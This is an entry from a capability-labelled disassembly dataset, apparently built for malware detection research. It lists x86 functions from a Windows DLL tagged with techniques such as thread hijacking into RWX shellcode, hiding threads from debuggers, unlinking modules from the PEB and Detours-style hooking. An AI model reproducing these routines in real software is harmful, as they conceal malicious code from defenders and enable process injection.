joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100376a0
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x308
mov eax, dword [0x100b9040]
xor eax, ebp
mov dword [ebp - 4], eax
movzx eax, byte [ebp - 0x2dd]
push eax
push str.RtlLoadString
lea ecx, [ebp - 0x308]
call fcn.1002dce0
mov ecx, eax
call fcn.10009c80
mov dword [ebp - 0x2e8], eax
movzx ecx, byte [ebp - 0x2de]
push ecx
push 0x100aa594
lea ecx, [ebp - 0x2f8]
call fcn.100025a0
mov ecx, eax
call fcn.10001d50
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x2ec], eax
mov edx, dword [ebp - 0x2e8]
push edx
mov eax, dword [ebp - 0x2ec]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add eax, 0x430
mov dword [ebp - 0x2e4], eax
jne 0x1003772c
xor eax, eax
jmp 0x10037822
mov dword [ebp - 8], 0
lea ecx, [ebp - 8]
push ecx
push 0x40
push 0x1000
mov edx, dword [ebp - 0x2e4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10037756
xor eax, eax
jmp 0x10037822
push 0x2cc
push 0
lea eax, [ebp - 0x2d8]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x2e4]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0
jne 0x1003779b
xor eax, eax
jmp 0x10037822
mov eax, dword [ebp - 0x2dc]
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x100377b1
xor eax, eax
jmp 0x10037822
mov dword [ebp - 0x2d8], 0x10002
lea ecx, [ebp - 0x2d8]
push ecx
mov edx, dword [ebp - 0x2dc]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x100377d7
xor eax, eax
jmp 0x10037822
mov eax, dword [ebp + 8]
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x2d8], 0x10002
lea ecx, [ebp - 0x2d8]
push ecx
mov edx, dword [ebp - 0x2dc]
push edx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x10037806
xor eax, eax
jmp 0x10037822
mov eax, dword [ebp - 0x2dc]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x1003781c
xor eax, eax
jmp 0x10037822
mov eax, dword [ebp - 0x2dc]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1009dd14
mov esp, ebp
pop ebp
ret
Function at 0x10037830
Capabilities:
Hide thread from debugger

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movzx eax, byte [ebp - 1]
push eax
push 0x100aa5a0
lea ecx, [ebp - 0x28]
call fcn.100360b0
mov ecx, eax
call fcn.10001d50
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10037863
xor al, al
jmp 0x100378d3
movzx ecx, byte [ebp - 2]
push ecx
push str.NtSetInformationThread
lea ecx, [ebp - 0x40]
call fcn.10037d50
mov ecx, eax
call fcn.100378e0
push eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10037894
xor al, al
jmp 0x100378d3
cmp dword [ebp + 8], 0
jne 0x100378a5
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 0xc], eax
jmp 0x100378ab
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x18], edx
push 0
push 0
push 0x11
mov eax, dword [ebp - 0x14]
push eax
call dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x100378d1
xor al, al
jmp 0x100378d3
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x10037970
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b9040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 8], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 8], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x100379b5
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100379b9
cmp edx, esi
jne 0x1003799e
mov eax, dword [ebp - 8]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x100379d9
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100379dd
cmp edx, esi
jne 0x100379c2
mov eax, dword [ebp - 8]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x100379fd
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10037a01
cmp edx, esi
jne 0x100379e6
popfd
popal
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1009dd14
mov esp, ebp
pop ebp
ret
Function at 0x10037b60
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x100b9040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.10027ce0
add esp, 4
test eax, eax
jne 0x10037b89
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movzx ecx, byte [ebp - 9]
push ecx
push str.NtResumeThread
lea ecx, [ebp - 0x3c]
call fcn.10038010
mov ecx, eax
call fcn.10002240
mov dword [ebp - 0x14], eax
movzx edx, byte [ebp - 0xa]
push edx
push str.ntdll.dll
lea ecx, [ebp - 0x2c]
call fcn.1002c370
mov ecx, eax
call fcn.10001d50
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
push 0x116e058
call fcn.1002f410
add esp, 4
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x10037c3c
mov dword [ebp - 8], 0
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], edx
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [ebp - 0x20]
test eax, eax
jge 0x10037c22
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 8], 0
jbe 0x10037c31
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1009dd14
mov esp, ebp
pop ebp
ret

Function at 0x10037c50
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100b4708
push 0x1009dce5
mov eax, dword fs:[0]
push eax
add esp, 0xffffffe0
push ebx
push esi
push edi
mov eax, dword [0x100b9040]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
cmp dword [ebp + 8], 0
jne 0x10037c91
or eax, 0xffffffff
jmp 0x10037d2a
mov dword [ebp - 4], 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x102
je 0x10037cc3
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
jmp 0x10037d2a
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x10037ce9
mov dword [ebp - 0x28], 2
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x28]
jmp 0x10037d2a
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jge 0x10037d0f
mov dword [ebp - 0x30], 3
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x30]
jmp 0x10037d2a
mov dword [ebp - 4], 0xfffffffe
jmp 0x10037d28
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1008d590
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov dword [eax + 4], 1
mov ecx, dword [ebp - 8]
mov dword [ecx], 1
mov edx, dword [ebp - 8]
xor eax, eax
xor ecx, ecx
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
mov edx, dword [ebp - 8]
mov dword [edx + 0x1c], 0
mov eax, dword [ebp - 8]
mov dword [eax + 0x18], 0
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x14], 0
mov edx, dword [ebp - 8]
mov dword [edx + 0x10], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x28]
mov dword [eax + 0x24], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x24]
mov dword [eax + 0x20], edx
mov eax, dword [ebp - 8]
mov dword [eax + 0x3c], 0
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x38], 0
mov edx, dword [ebp - 8]
mov dword [edx + 0x34], 0
mov eax, dword [ebp - 8]
mov dword [eax + 0x30], 0
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x2c], 0
mov edx, dword [ebp - 8]
mov dword [edx + 0x80], 0
mov eax, dword [ebp - 8]
mov dword [eax + 0x7c], 0
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x78], 0
mov edx, dword [ebp - 8]
mov dword [edx + 0x44], 0
mov eax, dword [ebp - 8]
mov dword [eax + 0x40], 0
mov byte [ebp - 1], 0
jmp 0x1008d66f
mov cl, byte [ebp - 1]
add cl, 1
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
cmp edx, 0xc
jge 0x1008d689
movzx eax, byte [ebp - 1]
mov ecx, dword [ebp - 8]
mov dword [ecx + eax*4 + 0x48], 0
jmp 0x1008d666
mov ecx, dword [ebp - 8]
add ecx, 0x84
call fcn.10034f80
mov ecx, dword [ebp - 8]
add ecx, 0x90
call fcn.10034f80
nop
mov esp, ebp
pop ebp
ret

Function at 0x10091d60
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov byte [eax], 0
mov ecx, 4
imul edx, ecx, 0
mov eax, dword [ebp - 4]
mov dword [eax + edx + 0x44], 0
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp - 4]
mov dword [edx + ecx + 0x44], 0
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp - 4]
mov dword [edx + ecx + 0x4c], 0x67452301
mov eax, 4
shl eax, 0
mov ecx, dword [ebp - 4]
mov dword [ecx + eax + 0x4c], 0xefcdab89
mov edx, 4
shl edx, 1
mov eax, dword [ebp - 4]
mov dword [eax + edx + 0x4c], 0x98badcfe
mov ecx, 4
imul edx, ecx, 3
mov eax, dword [ebp - 4]
mov dword [eax + edx + 0x4c], 0x10325476
mov esp, ebp
pop ebp
ret
Function at 0x100950a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b9040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [0x100ee0b8]
push esi
push eax
mov dword [edi + 0x154], 1
lea eax, [edi + 0x15c]
lea ebx, [edi + 0x154]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [edi + 0x158], esi
add esi, 8
je 0x10095172
mov eax, dword [edi]
test eax, eax
je 0x10095121
mov eax, dword [eax + 4]
cmp eax, 0xffffffff
je 0x10095121
test ebx, ebx
je 0x10095121
push 0
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 1
jne 0x10095121
cmp dword [ebp - 8], esi
je 0x10095172
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x10095141
mov eax, dword [edi + 4]
cmp eax, 3
je 0x10095135
cmp eax, 1
jne 0x10095141
lea eax, [edi + 0x54]
push eax
push dword [edi + 0x50]
call ecx
add esp, 8
mov esi, dword [edi]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], 0xffffffff
xor al, al
mov byte [esi], 0
mov dword [edi + 4], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1009dd14
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1009dd14
mov esp, ebp
pop ebp
ret 8
Function at 0x1009b010
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1009b1e0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1009b0ed
mov edx, dword [ebp - 4]
cmp edx, dword [0x100b9004]
jb 0x1009b05a
mov eax, dword [ebp - 4]
cmp eax, dword [0x100b9008]
ja 0x1009b05a
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1009b02a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1009b07f
jmp 0x1009b0ed
cmp dword [ebp - 0x14], 0x10000
jne 0x1009b0d3
cmp dword [ebp - 0x18], 0x10000
jb 0x1009b0d3
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1009b0b6
mov eax, dword [ebp - 8]
jmp 0x1009b0ef
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1009b0c6
xor eax, eax
jmp 0x1009b0ef
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1009b0e8
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1009b1e0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1009b02a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1009b100
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.1009b210
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1009b1d5
mov edx, dword [ebp - 4]
cmp edx, dword [0x100b9004]
jb 0x1009b145
mov eax, dword [ebp - 4]
cmp eax, dword [0x100b9008]
ja 0x1009b145
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1009b115
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1009b16a
jmp 0x1009b1d5
cmp dword [ebp - 0x14], 0x10000
jne 0x1009b1be
cmp dword [ebp - 0x18], 0x10000
jb 0x1009b1be
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1009b1a1
mov eax, dword [ebp - 8]
jmp 0x1009b1d7
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1009b1b1
xor eax, eax
jmp 0x1009b1d7
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1009b1d0
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.1009b210
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1009b115
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1009b240
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1009b630
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x100badd8], 0
jne 0x1009b27d
cmp dword [0x100badd4], 0
je 0x1009b27d
mov eax, dword [0x100badd4]
mov dword [0x100badd8], eax
cmp dword [0x100badd8], 0
je 0x1009b2fa
mov ecx, dword [0x100badd8]
cmp dword [ecx + 8], 0
je 0x1009b2fa
mov edx, dword [0x100badd8]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x1009b2fa
mov ecx, dword [0x100badd8]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x1009b2fa
mov eax, dword [0x100badd8]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x1009b2c9
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x1009b2d0
xor eax, eax
jmp 0x1009b419
mov ecx, dword [0x100badd8]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x1009b419
mov edx, dword [0x100badd4]
mov dword [0x100badd8], edx
jmp 0x1009b316
mov eax, dword [0x100badd8]
mov ecx, dword [eax + 4]
mov dword [0x100badd8], ecx
cmp dword [0x100badd8], 0
je 0x1009b356
cmp dword [0x100badd8], 0
je 0x1009b354
mov edx, dword [0x100badd8]
cmp dword [edx + 8], 0
je 0x1009b354
mov eax, dword [0x100badd8]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x1009b354
mov edx, dword [0x100badd8]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x1009b354
jmp 0x1009b2ae
jmp 0x1009b308
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1009b420
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x1009b417
mov eax, dword [ebp - 0x18]
mov dword [0x100badd8], eax
mov ecx, dword [0x100badd8]
mov dword [ecx], 0x52727464
mov edx, dword [0x100badd8]
mov dword [edx + 8], 0
mov eax, dword [0x100badd8]
mov ecx, dword [0x100badd4]
mov dword [eax + 4], ecx
mov edx, dword [0x100badd8]
mov dword [0x100badd4], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x100badd8]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x1009b3e7
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x1009b407
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x1009b3de
mov eax, dword [0x100badd8]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x1009b2ae
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1009c160
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100badd4]
mov dword [ebp - 4], eax
jmp 0x1009c179
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x1009c1a0
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x1009c19e
call sub.KERNEL32.dll_GetLastError
jmp 0x1009c1a2
jmp 0x1009c170
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1009c640
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], 0
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x100bade4], eax
je 0x1009c664
mov eax, 0x10dd
jmp 0x1009c80c
cmp dword [0x100bade8], 0
je 0x1009c677
mov eax, dword [0x100bade8]
jmp 0x1009c80c
cmp dword [ebp + 0xc], 0
jne 0x1009c687
mov eax, 0x57
jmp 0x1009c80c
cmp dword [ebp + 8], 0
jne 0x1009c697
mov eax, 6
jmp 0x1009c80c
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x1009c6c0
mov dword [ebp - 8], 6
mov ecx, dword [ebp - 8]
mov dword [0x100bade8], ecx
mov edx, dword [ebp + 8]
mov dword [0x100badec], edx
mov eax, dword [ebp - 8]
jmp 0x1009c80c
push 0x18
call fcn.1009dd22
add esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1009c71b
mov dword [ebp - 8], 8
mov ecx, dword [ebp - 8]
mov dword [0x100bade8], ecx
cmp dword [ebp - 4], 0
je 0x1009c70a
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
push 0x18
mov eax, dword [ebp - 0x20]
push eax
call fcn.1009dd75
add esp, 8
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
mov dword [0x100badec], ecx
mov eax, dword [ebp - 8]
jmp 0x1009c80c
push 0
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call fcn.1009c620
mov dword [ebp - 0x10], eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.1009c620
mov dword [ebp + 0xc], eax
mov edx, dword [ebp - 0x10]
movzx eax, byte [edx + 0x36]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x40]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0xc], 0
je 0x1009c75b
cmp dword [ebp - 0xc], 0x1e
jbe 0x1009c777
mov dword [ebp - 8], 9
cmp dword [0x100baddc], 0
je 0x1009c772
jmp 0x1009c6e9
jmp 0x1009c6e0
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x44]
cmp ecx, dword [ebp + 0xc]
je 0x1009c79e
mov dword [ebp - 8], 9
cmp dword [0x100baddc], 0
je 0x1009c799
jmp 0x1009c6e9
jmp 0x1009c6e0
mov dword [ebp - 0x18], 0
lea edx, [ebp - 0x18]
push edx
push 0x40
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x1009c7c9
call sub.KERNEL32.dll_GetLastError
mov dword [ebp - 8], eax
jmp 0x1009c6e0
mov edx, dword [ebp - 4]
mov dword [edx + 4], 1
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov dword [edx + 0x10], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
mov dword [ecx + 0xc], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 0x14], ecx
mov edx, dword [ebp - 4]
mov eax, dword [0x100badf4]
mov dword [edx], eax
mov ecx, dword [ebp - 4]
mov dword [0x100badf4], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x1009c820
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x100bade4], eax
je 0x1009c83d
mov eax, 0x10dd
jmp 0x1009c920
mov eax, dword [0x100badf4]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1009c8bc
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call sub.KERNEL32.dll_VirtualProtect
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x1009c898
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x1009c898
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.1009b6c0
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
push 0x18
mov edx, dword [ebp - 0xc]
push edx
call fcn.1009dd75
add esp, 8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x1009c845
mov dword [0x100badf4], 0
call fcn.1009bfa0
mov ecx, dword [0x100badf0]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x1009c90a
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call sub.KERNEL32.dll_ResumeThread
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push 8
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.1009dd75
add esp, 8
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x1009c8d4
mov dword [0x100badf0], 0
mov dword [0x100bade4], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1009ce00
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x100bade8], 0
je 0x1009ce19
mov eax, dword [0x100bade8]
jmp 0x1009ceb8
call sub.KERNEL32.dll_GetCurrentThread
cmp dword [ebp + 8], eax
jne 0x1009ce2a
xor eax, eax
jmp 0x1009ceb8
push 8
call fcn.1009dd22
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1009ce82
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x1009ce6b
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
push 8
mov edx, dword [ebp - 0x10]
push edx
call fcn.1009dd75
add esp, 8
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x100bade8], eax
mov dword [0x100badec], 0
mov eax, dword [ebp - 8]
jmp 0x1009ceb8
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x1009ce9a
call sub.KERNEL32.dll_GetLastError
mov dword [ebp - 8], eax
jmp 0x1009ce4a
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x100badf0]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x100badf0], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4